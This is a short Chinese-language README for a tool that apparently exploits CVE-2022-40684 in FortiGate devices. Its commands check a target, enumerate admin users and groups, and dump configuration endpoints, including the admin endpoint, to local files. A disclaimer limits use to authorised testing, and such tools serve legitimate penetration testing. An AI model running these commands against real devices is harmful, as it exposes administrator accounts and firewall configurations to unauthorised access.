该工具允许安全专业人员通过与被暴露的 CMDB API 端点交互,识别和验证 FortiGate 设备中的 CVE-2022-40684 暴露情况。
它支持枚举管理用户、用户组,并在受控环境中提取选择性配置进行分析。
安装依赖: pip3 install -r requirements.txt
检查漏洞:
python3 fortigate_tool.py -t <target>
枚举用户:
python3 fortigate_tool.py -t <target> --enum
导出特定端点:
python3 fortigate_tool.py -t <target> --dump /api/v2/cmdb/system/admin
导出多个重要配置:
python3 fortigate_tool.py -t <target> --dump-all
导出的配置存储在本地: fortigate_dump/
此工具仅用于教育目的和授权的安全测试。 未经明确许可,请勿在系统上使用此工具。作者不对因使用此工具而造成的任何滥用或损害负责。